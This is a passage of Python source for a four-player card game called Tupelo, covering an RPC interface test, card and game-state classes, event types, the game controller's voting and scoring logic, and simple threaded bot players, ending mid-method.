p_encoded = self._encoded_player()\n        p_data = iface.player_register(p_encoded)\n        # create game\n        g_id = iface.game_create(p_data['akey'])\n        # list\n        gamelist = iface.game_list()\n        self.assertTrue(str(g_id) in gamelist)\n        players_raw = gamelist[str(g_id)]\n        self.assertTrue(isinstance(players_raw, list))\n        # decode\n        players = [rpc.rpc_decode(Player, pl) for pl in players_raw]\n        self.assertTrue(p_data['id'] in [pl.id for pl in players])\n        # get_info\n        info = iface.game_get_info(g_id)\n        self.assertTrue(info == players_raw)\n        # leave\n        ret = iface.player_quit(p_data['akey'])\n        self.assertEqual(ret, True)\n        # after the only player leaves, the game should get deleted\n        gamelist = iface.game_list()\n        self.assertFalse(g_id in gamelist)\n\n    def testFullGame(self):\n        iface = I()\n        plrs = []\n        for i in range(1, 5):\n            plrs.append(self._encoded_player(str(i)))\n\n        p_datas = []\n        for p in plrs:\n            p_datas.append(iface.player_register(p))\n\n        g_id = iface.game_create(p_datas[0]['akey'])\n        ret = iface.game_enter(p_datas[1]['akey'], g_id)\n        self.assertEqual(ret, g_id)\n        ret = iface.game_enter(p_datas[2]['akey'], g_id)\n        self.assertEqual(ret, g_id)\n        ret = iface.game_enter(p_datas[3]['akey'], g_id)\n        self.assertEqual(ret, g_id)\n\n        gamelist = iface.game_list()\n        self.assertTrue(str(g_id) in gamelist)\n        players = gamelist[str(g_id)]\n        self.assertEqual(len(players), len(p_datas))\n        # decode\n        players = [rpc.rpc_decode(Player, pl) for pl in players]\n        for p_data in p_datas:\n            self.assertTrue(p_data['id'] in [pl.id for pl in players])\n\n        state = iface.game_get_state(p_datas[0]['akey'], g_id)\n        self.assertTrue('game_state' in state)\n        self.assertEqual(state['game_state']['status'], 0)\n\n        try:\n            ret = iface.game_start(p_datas[0]['akey'], g_id)\n            self.assertEqual(ret, True)\n\n            state = iface.game_get_state(p_datas[0]['akey'], g_id)\n            self.assertTrue('game_state' in state)\n            self.assertEqual(state['game_state']['status'], 1)\n            self.assertTrue('hand' in state)\n\n            ret = iface.game_leave(p_datas[0]['akey'], g_id)\n            self.assertEqual(ret, True)\n\n            for p_data in p_datas:\n                ret = iface.player_quit(p_data['akey'])\n                self.assertEqual(ret, True)\n\n        finally:\n            for game in iface.games:\n                game._reset()\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "tupelo/common.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport random\nimport copy\nimport uuid\nimport base64\nfrom functools import wraps\nfrom . import rpc\n\n# game mode\nNOLO = 0\nRAMI = 1\n\nTURN_NONE = -1\n\ndef simple_decorator(decorator):\n    \"\"\"This decorator can be used to turn simple functions\n    into well-behaved decorators, so long as the decorators\n    are fairly simple. If a decorator expects a function and\n    returns a function (no descriptors), and if it doesn't\n    modify function attributes or docstring, then it is\n    eligible to use this. Simply apply @simple_decorator to\n    your decorator and it will automatically preserve the\n    docstring and function attributes of functions to which\n    it is applied.\"\"\"\n    def new_decorator(func):\n        decf = decorator(func)\n        decf.__name__ = func.__name__\n        decf.__doc__ = func.__doc__\n        decf.__dict__.update(func.__dict__)\n        return decf\n    # Now a few lines needed to make simple_decorator itself\n    # be a well-behaved decorator.\n    new_decorator.__name__ = decorator.__name__\n    new_decorator.__doc__ = decorator.__doc__\n    new_decorator.__dict__.update(decorator.__dict__)\n    return new_decorator\n\n@simple_decorator\ndef traced(func):\n    \"\"\"\n    A decorator for tracing func calls.\n    \"\"\"\n    def wrapper(*args, **kwargs):\n        print((\"DEBUG: entering %s()\" % func.__name__))\n        retval = func(*args, **kwargs)\n        return retval\n\n    return wrapper\n\ndef synchronized_method(lock_name):\n    \"\"\"\n    Simple synchronization decorator for methods.\n    \"\"\"\n    def decorator(func):\n        @wraps(func)\n        def wrapper(self, *args, **kwargs):\n            lock = self.__getattribute__(lock_name)\n            lock.acquire()\n            try:\n                return func(self, *args, **kwargs)\n            finally:\n                lock.release()\n\n        return wrapper\n\n    return decorator\n\ndef short_uuid():\n    \"\"\"\n    Generate a short, random unique ID.\n\n    Returns a string (base64 encoded UUID).\n    \"\"\"\n    return base64.urlsafe_b64encode(uuid.uuid4().bytes).decode().replace('=', '')\n\n\nclass TupeloException(Exception):\n    \"\"\"\n    Base class for new exceptions.\n    \"\"\"\n    def __init__(self, message=None):\n        self.message = message\n\n\nclass GameError(TupeloException):\n    \"\"\"\n    Generic error class for game errors.\n    \"\"\"\n    rpc_code = 1\n\n\nclass RuleError(TupeloException):\n    \"\"\"\n    Error for breaking the game rules.\n    \"\"\"\n    rpc_code = 2\n\n\nclass ProtocolError(TupeloException):\n    \"\"\"\n    Error for problems in using the RPC protocol.\n    \"\"\"\n    rpc_code = 3\n\n\nclass UserQuit(GameError):\n    \"\"\"\n    Exception for indicating that user quits the game.\n    \"\"\"\n    pass\n\n\nclass Suit():\n    \"\"\"\n    Class for suits.\n    \"\"\"\n    def __init__(self, value, name, char=''):\n        self.name = name\n        self.value = value\n        self.char = char\n\n    def __eq__(self, other):\n        return self.value == other.value\n\n    def __ne__(self, other):\n        return self.value != other.value\n\n    def __lt__(self, other):\n        return self.value < other.value\n\n    def __le__(self, other):\n        return self.value <= other.value\n\n    def __gt__(self, other):\n        return self.value > other.value\n\n    def __ge__(self, other):\n        return self.value >= other.value\n\n    def rpc_encode(self):\n        return self.value\n\n    @classmethod\n    def rpc_decode(cls, value):\n        return _get_suit(value)\n\n    def __str__(self):\n        \"\"\"\n        Get the 'unofficial' string representation.\n        \"\"\"\n        return self.name\n\nHEART = Suit(3, 'hearts', '\\u2665')\nCLUB = Suit(2, 'clubs', '\\u2663')\nDIAMOND = Suit(1, 'diamonds', '\\u2666')\nSPADE = Suit(0, 'spades', '\\u2660')\n\nALL_SUITS = [SPADE, DIAMOND, CLUB, HEART]\n\ndef _get_suit(value: int) -> Suit:\n    try:\n        return ALL_SUITS[value]\n    except IndexError:\n        raise ValueError(\"Suit not found\")\n\nclass Card(rpc.RPCSerializable):\n    \"\"\"\n    Class that represents a single card.\n    \"\"\"\n    _chars = {11:'J', 12:'Q', 13:'K', 14:'A'}\n    rpc_attrs = ('suit', 'value', 'played_by')\n\n    def __init__(self, suit: Suit, value: int):\n        super().__init__()\n        self.suit = suit\n        self.value = value\n        self.potential_owners = list(range(0, 4))\n        self.played_by = None\n\n    @classmethod\n    def rpc_decode(cls, rpcobj) -> 'Card':\n        card = Card(Suit.rpc_decode(rpcobj['suit']), rpcobj['value'])\n        if 'played_by' in rpcobj:\n            card.played_by = rpcobj['played_by']\n\n        return card\n\n    def __eq__(self, other):\n        return self.suit == other.suit and self.value == other.value\n\n    def __ne__(self, other):\n        return self.suit != other.suit or self.value != other.value\n\n    def __lt__(self, other):\n        return self._cmp_value < other._cmp_value\n\n    def __le__(self, other):\n        return self._cmp_value <= other._cmp_value\n\n    def __gt__(self, other):\n        return self._cmp_value > other._cmp_value\n\n    def __ge__(self, other):\n        return self._cmp_value >= other._cmp_value\n\n    def __repr__(self):\n        \"\"\"\n        Get the official string representation of the object.\n        \"\"\"\n        return f'<Card: {self.value} of {self.suit.name}>'\n\n    @property\n    def _cmp_value(self) -> int:\n        \"\"\"Get the integer value that can be used for comparing and sorting cards.\"\"\"\n        return self.suit.value * 13 + self.value\n\n    def __str__(self):\n        return '%s%s' % (self.char, self.suit.char)\n\n    @property\n    def char(self):\n        \"\"\"\n        Get the character corresponding to the card value.\n        \"\"\"\n        if self.value in self._chars:\n            return self._chars[self.value]\n        return str(self.value)\n\n\nclass CardSet(list, rpc.RPCSerializable):\n    \"\"\"\n    A set of cards.\n    \"\"\"\n    @staticmethod\n    def new_full_deck():\n        \"\"\"\n        Create a full deck of cards.\n        \"\"\"\n        deck = CardSet()\n        for suit in ALL_SUITS:\n            for val in range(2, 15):\n                deck.append(Card(suit, val))\n\n        return deck\n\n    def __sub__(self, other):\n        \"\"\"\n        \"\"\"\n        result = copy.copy(self)\n        for elem in other:\n            try:\n                result.remove(elem)\n            except ValueError:\n                continue\n        return result\n\n    def rpc_encode(self):\n        return [rpc.rpc_encode(card) for card in self]\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        cset = cls()\n        for card in rpcobj:\n            cset.append(rpc.rpc_decode(Card, card))\n        return cset\n\n    def get_cards(self, **kwargs):\n        \"\"\"\n        Get cards from the set.\n\n        Supported keyword args:\n            - suit: get cards having the given suit\n            - value: get cards having the given value\n        \"\"\"\n        result = CardSet()\n        for card in self:\n            if 'suit' in kwargs and card.suit != kwargs['suit']:\n                continue\n\n            if 'value' in kwargs and card.value != kwargs['value']:\n                continue\n\n            result.append(card)\n        return result\n\n    def shuffle(self):\n        \"\"\"\n        Shuffle the CardSet to a random order.\n        \"\"\"\n        random.shuffle(self)\n\n    def take(self, card):\n        \"\"\"\n        Take a selected card from the set.\n        \"\"\"\n        self.remove(card)\n        return card\n\n    def clear(self):\n        \"\"\"\n        Clear this set.\n        \"\"\"\n        del self[:]\n\n    def deal(self, cardsets):\n        \"\"\"\n        Deal this CardSet into cardsets.\n        \"\"\"\n        while len(self) > 0:\n            for cset in cardsets:\n                try:\n                    cset.append(self.pop(0))\n                except IndexError:\n                    break\n\n    def get_highest(self, **kwargs):\n        \"\"\"\n        Get the card with the highest value.\n        \"\"\"\n        highest = None\n        roof = None\n        floor = None\n\n        if 'roof' in kwargs:\n            roof = kwargs['roof']\n\n        if 'floor' in kwargs:\n            floor = kwargs['floor']\n\n        for card in self:\n            if floor is not None and card.value < floor:\n                continue\n            if roof is not None and card.value > roof:\n                continue\n            if highest is None or card.value > highest.value:\n                highest = card\n\n        return highest\n\n    def get_lowest(self, **kwargs):\n        \"\"\"\n        Get the card with the lowest value.\n        \"\"\"\n        lowest = None\n        roof = None\n        floor = None\n\n        if 'roof' in kwargs:\n            roof = kwargs['roof']\n\n        if 'floor' in kwargs:\n            floor = kwargs['floor']\n\n        for card in self:\n            if floor is not None and card.value < floor:\n                continue\n            if roof is not None and card.value > roof:\n                continue\n            if lowest is None or card.value < lowest.value:\n                lowest = card\n\n        return lowest\n\nclass GameState(rpc.RPCSerializable):\n    \"\"\"\n    State of a single game.\n    \"\"\"\n    rpc_attrs = ('status', 'mode', 'table:CardSet', 'score', 'tricks', 'turn',\n            'turn_id', 'dealer')\n\n    # statuses\n    OPEN = 0\n    VOTING = 1\n    ONGOING = 2\n    STOPPED = 3\n\n    def __init__(self):\n        super().__init__()\n        self.status = GameState.OPEN\n        self.mode = NOLO\n        self.table = CardSet()\n        self.score = [0, 0]\n        self.tricks = [0, 0]\n        self.rami_chosen_by = None # Player\n        self.turn = 0\n        self.turn_id = 0\n        self.dealer = 0\n\n    def update(self, new_state):\n        \"\"\"\n        Update the state from a new state object.\n        \"\"\"\n        for attr in self.__dict__:\n            if hasattr(new_state, attr):\n                setattr(self, attr, getattr(new_state, attr))\n\n    def next_in_turn(self, thenext=None):\n        \"\"\"\n        Set the next player in turn.\n        \"\"\"\n        if thenext is None:\n            self.turn = (self.turn + 1) % 4\n        else:\n            self.turn = (thenext) % 4\n\n    def __str__(self):\n        statusstr = {GameState.OPEN: 'OPEN', GameState.STOPPED: 'STOPPED',\n                GameState.VOTING: 'VOTING', GameState.ONGOING: 'ONGOING'}\n        modestr = {NOLO: 'NOLO', RAMI: 'RAMI'}\n        return \"state: %s, mode: %s, score: %s, tricks: %s, dealer: %d\" % \\\n                (statusstr[self.status], modestr[self.mode], str(self.score),\n                        str(self.tricks), self.dealer)\n\n", "tupelo/events.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nfrom typing import Optional\nfrom enum import IntEnum\nfrom .rpc import RPCSerializable, rpc_encode, rpc_decode\n\nclass EventType(IntEnum):\n    NONE = 0\n    CARD_PLAYED = 1\n    MESSAGE = 2\n    TRICK_PLAYED = 3\n    TURN = 4\n    STATE_CHANGED = 5\n\n    def rpc_encode(self):\n        return int(self)\n\n\nclass Event(RPCSerializable):\n    \"\"\"\n    Class for events.\n    \"\"\"\n    type = EventType.NONE\n    rpc_attrs = ('type',)\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        \"\"\"\n        Decode an rpc object into an Event instance.\n        \"\"\"\n        for subcls in cls.__subclasses__():\n            if getattr(subcls, 'type') == rpcobj['type']:\n                return rpc_decode(subcls, rpcobj)\n\n        return cls.rpc_decode_simple(rpcobj)\n\n\nclass CardPlayedEvent(Event):\n    \"\"\"\n    A card has been played.\n    \"\"\"\n    type = EventType.CARD_PLAYED\n    rpc_attrs = Event.rpc_attrs + ('player:Player', 'card:Card', 'game_state:GameState')\n\n    def __init__(self, player=None, card=None, game_state=None):\n        self.player = player\n        self.card = card\n        self.game_state = game_state\n\n\nclass MessageEvent(Event):\n    \"\"\"\n    A message.\n    \"\"\"\n    type = EventType.MESSAGE\n    rpc_attrs = Event.rpc_attrs + ('sender', 'message')\n\n    def __init__(self, sender: Optional[str] = None, message: Optional[str] = None):\n        self.sender = sender\n        self.message = message\n\n\nclass TrickPlayedEvent(Event):\n    \"\"\"\n    A trick (tikki/kasa) has been played.\n    \"\"\"\n    type = EventType.TRICK_PLAYED\n    rpc_attrs = Event.rpc_attrs + ('player:Player', 'game_state:GameState')\n\n    def __init__(self, player=None, game_state=None):\n        self.player = player\n        self.game_state = game_state\n\n\nclass TurnEvent(Event):\n    \"\"\"\n    It is the player's turn to do something.\n    \"\"\"\n    type = EventType.TURN\n    rpc_attrs = Event.rpc_attrs + ('game_state:GameState',)\n\n    def __init__(self, game_state=None):\n        self.game_state = game_state\n\n\nclass StateChangedEvent(Event):\n    \"\"\"\n    Game state has changed.\n    \"\"\"\n    type = EventType.STATE_CHANGED\n    rpc_attrs = Event.rpc_attrs + ('game_state:GameState',)\n\n    def __init__(self, game_state=None):\n        self.game_state = game_state\n\n\nclass EventList(list, RPCSerializable):\n    \"\"\"\n    Class for event lists.\n    \"\"\"\n    def rpc_encode(self):\n        return [rpc_encode(event) for event in self]\n\n    @classmethod\n    def rpc_decode(cls, rpcobj):\n        elist = cls()\n        for event in rpcobj:\n            elist.append(rpc_decode(Event, event))\n        return elist\n\n", "tupelo/game.py": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: set sts=4 sw=4 et:\n\nimport threading\nimport sys\nimport copy\nimport logging\nfrom typing import Optional, List\n\nfrom .common import CardSet, Card\nfrom .common import NOLO, RAMI, DIAMOND, HEART\nfrom .common import TURN_NONE\nfrom .common import RuleError, GameError, GameState\nfrom .common import synchronized_method\nfrom .players import Player, ThreadedPlayer\n\nlogger = logging.getLogger()\n\nclass GameController():\n    \"\"\"\n    The controller class that runs everything.\n    \"\"\"\n\n    def __init__(self):\n        super().__init__()\n        self.players = []\n        self.state = GameState()\n        self.shutdown_event = threading.Event()\n        self.id = None\n        self.lock_start = threading.Lock()\n\n    def register_player(self, player: Player):\n        \"\"\"\n        Register a new Player.\n        \"\"\"\n        if player.id in [pl.id for pl in self.players]:\n            raise GameError('Player already registered to game')\n\n        if len(self.players) == 4:\n            raise GameError('Already 4 players registered')\n\n        self.players.append(player)\n        # TODO: should we generate UUIDs instead?\n        if player.id is None:\n            player.id = str(self.players.index(player))\n\n        player.team = self.players.index(player) % 2\n\n    def player_leave(self, player_id: int):\n        \"\"\"\n        Player leaves the game.\n        \"\"\"\n        self._send_msg('Player %s quit' % player_id)\n        plr = self.get_player(player_id)\n        if plr:\n            self.players.remove(plr)\n            plr.hand.clear()\n            plr.stop() # stops the thread in case of ThreadedPlayer\n\n        # reset the game unless we are still in OPEN state\n        if self.state.status != GameState.OPEN:\n            self._reset()\n\n    def player_quit(self, player_id: int):\n        \"\"\"\n        Leave and quit the game.\n        \"\"\"\n        self.player_leave(player_id)\n        self.shutdown_event.set()\n\n    def get_player(self, player_id: int) -> Optional[Player]:\n        \"\"\"\n        Get player by id.\n        \"\"\"\n        for plr in self.players:\n            if plr.id == player_id:\n                return plr\n\n        return None\n\n    def _get_player_in_turn(self, turn: int) -> Optional[Player]:\n        \"\"\"\n        Get player who is in turn.\n        \"\"\"\n        if turn >= 0:\n            return self.players[turn % 4]\n\n        return None\n\n    def _next_in_turn(self, thenext: Optional[int] = None):\n        \"\"\"\n        Set the next player in turn.\n        \"\"\"\n        self.state.next_in_turn(thenext)\n        self.state.turn_id = self._get_player_in_turn(self.state.turn).id\n\n    def _set_state(self, new_status: int):\n        \"\"\"\n        Change the game state.\n        \"\"\"\n        self.state.status = new_status\n        for player in self.players:\n            player.state_changed(self.state)\n\n    def _stop_players(self):\n        \"\"\"\n        Stop all running players.\n        \"\"\"\n        self._set_state(GameState.STOPPED)\n        for player in self.players:\n            if player:\n                player.act(self, self.state)\n\n        for player in self.players:\n            if player and isinstance(player, ThreadedPlayer):\n                if player.is_alive() and player.thread is not threading.current_thread():\n                    player.join()\n\n    def _reset(self):\n        \"\"\"\n        Reset the game.\n        \"\"\"\n        logger.info('Resetting')\n        self._stop_players()\n        self.players = []\n        self.state = GameState()\n\n    def _get_team_players(self, team: int) -> List[Player]:\n        \"\"\"\n        Get players in a team.\n        \"\"\"\n        return [player for player in self.players if player.team == team]\n\n    def _get_team_str(self, team: int) -> str:\n        \"\"\"\n        Get team string representation.\n        \"\"\"\n        plrs = self._get_team_players(team)\n        return '%d (%s)' % (team + 1, ', '.join([pl.player_name for pl in plrs]))\n\n    def _send_msg(self, msg: str):\n        \"\"\"\n        Send a message to all players.\n        \"\"\"\n        logger.debug(msg)\n        for player in self.players:\n            player.send_message('', msg)\n\n    @synchronized_method('lock_start')\n    def start_game(self):\n        \"\"\"\n        Start the game.\n        \"\"\"\n        if self.state.status != GameState.OPEN:\n            raise GameError('Game already started')\n\n        if len(self.players) < 4:\n            raise GameError('Not enough players')\n\n        for player in self.players:\n            player.start()\n\n        self._start_new_hand()\n\n    def wait_for_shutdown(self):\n        \"\"\"\n        Wait for shutdown event and shut down after it.\n        \"\"\"\n        self.shutdown_event.wait()\n        self.shutdown()\n\n    def _signal_act(self):\n        \"\"\"\n        Tell the player who is in turn to act.\n        \"\"\"\n        self._get_player_in_turn(self.state.turn).act(self, self.state)\n\n    def _start_new_hand(self):\n        \"\"\"\n        Start a new hand.\n        \"\"\"\n        logger.info('New hand')\n        self.state.tricks = [0, 0]\n\n        # create a full deck\n        deck = CardSet.new_full_deck()\n\n        logger.debug('deck is %s', str(deck))\n        deck.shuffle()\n        logger.debug('shuffled deck %s', str(deck))\n\n        deck.deal([player.hand for player in self.players])\n\n        for player in self.players:\n            player.hand.sort()\n            logger.debug(\"%s's hand: %s\", player.player_name,\n                str(player.hand))\n\n        # voting\n        self.state.mode = NOLO\n        self.state.rami_chosen_by = None\n        self._set_state(GameState.VOTING)\n\n        # uncomment following to skip voting\n        #self._set_state(GameState.ONGOING)\n        # start the game\n        self._next_in_turn(self.state.dealer + 1)\n        self._signal_act()\n\n    def _trick_played(self):\n        \"\"\"\n        A trick (4 cards) has been played.\n        \"\"\"\n        table = self.state.table\n        high = table.get_cards(suit=table[0].suit).get_highest()\n        high_played_by = self.get_player(high.played_by)\n        team = high_played_by.team\n        self._send_msg('Team %s takes this trick' % (self._get_team_str(team)))\n        self.state.tricks[team] += 1\n        self._send_msg('Tricks: %s' % self.state.tricks)\n        # send signals\n        for plr in self.players:\n            plr.trick_played(high_played_by, self.state)\n\n        self.state.table.clear()\n\n        # do we have a winner?\n        if self.state.tricks[0] + self.state.tricks[1] == 13:\n            self._hand_played()\n        else:\n            self._next_in_turn(self.players.index(high_played_by))\n            self._signal_act()\n\n    def _hand_played(self):\n        \"\"\"\n        A hand has been played.\n        \"\"\"\n\n        if self.state.mode == NOLO:\n            if self.state.tricks[0] < self.state.tricks[1]:\n                winner = 0\n                loser = 1\n            else:\n                winner = 1\n                loser = 0\n            score = (7 - self.state.tricks[winner]) * 4\n        else:\n            if self.state.tricks[0] > self.state.tricks[1]:\n                winner = 0\n                loser = 1\n            else:\n                winner = 1\n                loser = 0\n            if self.state.rami_chosen_by and self.state.rami_chosen_by.team != winner:\n                self._send_msg(\"Double points for taking opponent's rami!\")\n                score = (self.state.tricks[winner] - 6) * 8\n            else:\n                score = (self.state.tricks[winner] - 6) * 4\n\n        self._send_msg('Team %s won this hand with %d tricks' %\n                (self._get_team_str(winner), self.state.tricks[winner]))\n\n        if self.state.score[loser] > 0:\n            self._send_msg('Team %s fell down' % (self._get_team_str(loser)))\n            self.state.score = [0, 0]\n        else:\n            self.state.score[winner] += score\n            if self.state.score[winner] > 52:\n                self._send_msg('Team %s won with score %d!' %\n                        (self._get_team_str(winner), self.state.score[winner]))\n                self.shutdown_event.set()\n                return\n            else:\n                self._send_msg('Team %s is at %d' %\n                        (self._get_team_str(winner), self.state.score[winner]))\n\n        self.state.dealer = (self.state.dealer + 1) % 4\n        self._start_new_hand()\n\n    def shutdown(self):\n        \"\"\"\n        Shutdown the game.\n        \"\"\"\n        self._stop_players()\n        sys.exit(0)\n\n    def _vote_card(self, player: Player, card: Card):\n        \"\"\"\n        Player votes with a card.\n        \"\"\"\n        table = self.state.table\n\n        card = copy.copy(card)\n        card.played_by = player.id\n        table.append(card)\n        # fire signals\n        for plr in self.players:\n            plr.card_played(player, card, self.state)\n\n        if card.suit == DIAMOND or card.suit == HEART:\n            self.state.mode = RAMI\n            self.state.rami_chosen_by = player\n            self._next_in_turn(self.players.index(player) - 1)\n            self._begin_game()\n        elif len(table) == 4:\n            self.state.mode = NOLO\n            self._next_in_turn()\n            self._begin_game()\n        else:\n            self._next_in_turn()\n\n        self._signal_act()\n\n    def _begin_game(self):\n        if self.state.mode == RAMI:\n            self._send_msg('Rami it is')\n        else:\n            self._send_msg('Nolo it is')\n\n        self._send_msg('Game on, %s begins!' % self._get_player_in_turn(self.state.turn))\n\n        self.state.table.clear()\n        self._set_state(GameState.ONGOING)\n\n    def play_card(self, player: Player, card: Card):\n        \"\"\"\n        Play one card on the table.\n        \"\"\"\n        if self._get_player_in_turn(self.state.turn).id != player.id:\n            raise RuleError('Not your turn')\n\n        table = self.state.table\n\n        if self.state.status == GameState.VOTING:\n            self._vote_card(player, card)\n\n        elif self.state.status == GameState.ONGOING:\n            # make sure that suit is followed\n            if len(table) > 0 and card.suit != table[0].suit:\n                if len(player.hand.get_cards(suit=table[0].suit)) > 0:\n                    raise RuleError('Suit must be followed')\n\n            # make sure that the player actually has the card\n            try:\n                table.append(player.hand.take(card))\n                card.played_by = player.id\n            except ValueError:\n                raise RuleError('Invalid card')\n\n            if len(table) == 4:\n                # TODO: there must be a better way for this\n                turn_backup = self.state.turn\n                self.state.turn = TURN_NONE\n                # fire signals with temporary state\n                # this is to let clients know that all four cards have been played\n                # and it's nobody's turn yet\n                for plr in self.players:\n                    plr.card_played(player, card, self.state)\n\n                self.state.turn = turn_backup\n                self._trick_played()\n            else:\n                self._next_in_turn()\n                # fire signals\n                for plr in self.players:\n                    plr.card_played(player, card, self.state)\n                self._signal_act()\n\n", "tupelo/players.py": "#!/usr/bin/env python\n# vim: set sts=4 sw=4 et:\n\nimport threading\nfrom .common import Card, CardSet, SPADE, CLUB, HEART, DIAMOND\nfrom .common import NOLO, RAMI\nfrom .common import RuleError, UserQuit, GameState\nfrom .rpc import RPCSerializable\n\nclass Player(RPCSerializable):\n    \"\"\"\n    Base class for players.\n    \"\"\"\n    rpc_attrs = ('id', 'player_name', 'team')\n\n    def __init__(self, name:str):\n        super().__init__()\n        self.id = None\n        self.player_name = name\n        self.hand = CardSet()\n        self.team: int = 0\n        self.controller = None\n        self.game_state = GameState()\n\n    def __repr__(self):\n        return '<%s: %s>' % (self.__class__.__name__, self.player_name)\n\n    def __getstate__(self):\n        \"\"\"\n        Make Player classes safe for pickling and deepcopying.\n        \"\"\"\n        state = {}\n        for key, _ in self.iter_rpc_attrs():\n            state[key] = getattr(self, key)\n\n        return state\n\n    @classmethod\n    def rpc_decode(cls, rpcobj: dict) -> 'Player':\n        \"\"\"\n        Decode an RPC-form object into an instance of cls.\n        \"\"\"\n        player = cls(rpcobj['player_name'])\n        for attr, atype in cls.iter_rpc_attrs():\n            if attr != 'player_name':\n                player.rpc_decode_attr(rpcobj, attr, atype)\n\n        return player\n\n    def start(self):\n        \"\"\"\n        Start the player.\n        \"\"\"\n        pass\n\n    def stop(self):\n        \"\"\"\n        Stop the player.\n        \"\"\"\n        pass\n\n    def card_played(self, player: 'Player', card: Card, game_state: GameState):\n        \"\"\"\n        Signal that a card has been played by the given player.\n        \"\"\"\n        pass\n\n    def trick_played(self, player, game_state: GameState):\n        \"\"\"\n        Signal that a trick has been played. \"player\" had the winning card.\n        \"\"\"\n        pass\n\n    def state_changed(self, game_state: GameState):\n        \"\"\"\n        Signal that the game state has changed, e.g. from VOTING to ONGOING.\n        \"\"\"\n        pass\n\n    def vote(self):\n        \"\"\"\n        Vote for rami or nolo.\n        \"\"\"\n        print('Not implemented!')\n        raise NotImplementedError()\n\n    def play_card(self):\n        \"\"\"\n        Play one card.\n        \"\"\"\n        print('Not implemented!')\n        raise NotImplementedError()\n\n    def send_message(self, sender, msg: str):\n        \"\"\"\n        \"\"\"\n        print('Not implemented!')\n        raise NotImplementedError()\n\n    def act(self, controller, game_state: GameState):\n        \"\"\"\n        Do something.\n\n        This is an event handler that updates\n        the game state and wakes up the thread.\n        \"\"\"\n        print('Not implemented!')\n        raise NotImplementedError()\n\n\nclass ThreadedPlayer(Player):\n\n    def __init__(self, name):\n        Player.__init__(self, name)\n        self.thread = self._create_thread()\n        self.turn_event = threading.Event()\n        self.stop_flag = False\n\n    def _create_thread(self):\n        \"\"\"\n        Create a new thread for this player.\n        \"\"\"\n        return threading.Thread(None, self.run, self.player_name)\n\n    def wait_for_turn(self):\n        \"\"\"\n        Wait for this player's turn.\n        \"\"\"\n        #print \"%s waiting for my turn\" % self\n        self.turn_event.wait()\n        #print \"%s it's about time!\" % self\n        self.turn_event.clear()\n\n    def is_alive(self):\n        \"\"\"\n        Return true if the player thread is alive.\n        \"\"\"\n        if self.thread is not None:\n            return self.thread.isAlive()\n\n        return False\n\n    def start(self):\n        \"\"\"\n        (Re)start the player thread.\n        \"\"\"\n        if self.thread is None:\n            self.thread = self._create_thread()\n\n        # try to handle restart attempts\n        try:\n            return self.thread.start()\n        except RuntimeError:\n            # if the thread is still running, the exception is valid\n            if self.is_alive():\n                raise\n\n            self.thread = self._create_thread()\n            return self.thread.start()\n\n    def join(self, timeout=5.0):\n        \"\"\"\n        Join the player thread, if one exists.\n        \"\"\"\n        if self.thread is None:\n            return\n\n        return self.thread.join(timeout)\n\n    def run(self):\n        \"\"\"\n        The real work is here.\n        \"\"\"\n        print(('%s starting' % self))\n        self.stop_flag = False\n        while True:\n\n            self.wait_for_turn()\n\n            if self.game_state.status == GameState.STOPPED or \\\n                    self.stop_flag == True:\n                break\n            elif self.game_state.status == GameState.VOTING:\n                try:\n                    self.vote()\n                except UserQuit as error:\n                    print(('UserQuit:', error))\n                    self.controller.player_quit(self.id)\n                    break\n                except Exception as error:\n                    print(('Error:', error))\n                    raise\n            elif self.game_state.status == GameState.ONGOING:\n                try:\n                    self.play_card()\n                except UserQuit as error:\n                    print(('UserQuit:', error))\n                    self.controller.player_quit(self.id)\n                    break\n                except Exception as error:\n                    print(('Error:', error))\n                    raise\n            else:\n                print((\"Warning: unknown status %d\" % self.game_state.status))\n\n        print(('%s exiting' % self))\n\n    def stop(self):\n        \"\"\"\n        Try to stop the thread, regardless of the state.\n        \"\"\"\n        self.stop_flag = True\n        self.turn_event.set()\n\n    def act(self, controller, game_state: GameState):\n        \"\"\"\n        Do something.\n\n        This is an event handler that updates\n        the game state and wakes up the thread.\n        \"\"\"\n        self.controller = controller\n        self.game_state.update(game_state)\n        self.turn_event.set()\n\nclass DummyBotPlayer(ThreadedPlayer):\n    \"\"\"\n    Dummy robot player.\n    \"\"\"\n\n    def send_message(self, sender, msg):\n        \"\"\"\n        Robots don't care about messages.\n        \"\"\"\n        pass\n\n    def vote(self):\n        \"\"\"\n        Vote for rami or nolo.\n        \"\"\"\n        # simple algorithm\n        score = 0\n        for card in self.hand:\n            if card.value > 10:\n                score += card.value - 10\n\n        if score > 16:\n            # rami, red cards\n            choices = self.hand.get_cards(suit=HEART)\n            choices.extend(self.hand.get_cards(suit=DIAMOND))\n        else:\n            # nolo, black cards\n            choices = self.hand.get_cards(suit=SPADE)\n            choices.extend(self.hand.get_cards(suit=CLUB))\n\n        if len(choices) == 0:\n            choices = self.hand\n\n        best = None\n        for card in choices:\n            if best is None or abs(6 - card.value) < abs(6 - best.value):\n                best = card\n\n        try:\n            #print '%s voting %s' % (self, best)\n            self.controller.play_card(self, best)\n        except RuleError as error:\n            print('Oops', error)\n            raise\n\n    def play_card(self):\n        state = self.game_state\n\n        # pick a card, how hard can it be?\n        card = None\n        if len(state.table) == 0:\n            choices = self.hand\n        else:\n            choices = self.hand.get_cards(suit=state.table[0].suit)\n\n        if state.mode == NOLO:\n            if len(choices) == 0:\n                # \"sakaus\"\n                # should be \"worst score\"\n                card = self.hand.get_highest()\n            else:\n                # real dumb\n                card = choices.get_lowest()\n                if len(state.table) > 0:\n                    high = state.table.get_cards(suit=state.table[0].suit).get_highest()\n                    high_played_by = self.controller.get_player(high.played_by)\n                    if high_played_by.team == self.team:\n                        # we may be getting this trick...\n                        if len(state.table) == 3:\n                            # and i'm the last to play\n                            card = choices.get_highest()\n                        else:\n                            # i'm third\n                            # TODO: should also consider higher cards\n                            candidate = choices.get_highest(roof=high.value)\n                            if candidate is not None:\n                                card = candidate\n                            else:\n                                # might have to take this one\n                                card = choices.get_highest()\n                    else:\n                        # the opponent may get this trick, play under\n                        candidate = choices.get_highest(roof=high.value)\n                        if candidate is not None:\n                            card = candidate\n                        else:\n                            # cannot go under...\n                            if len(state.table) == 3:\n                                # and i'm the last to play\n              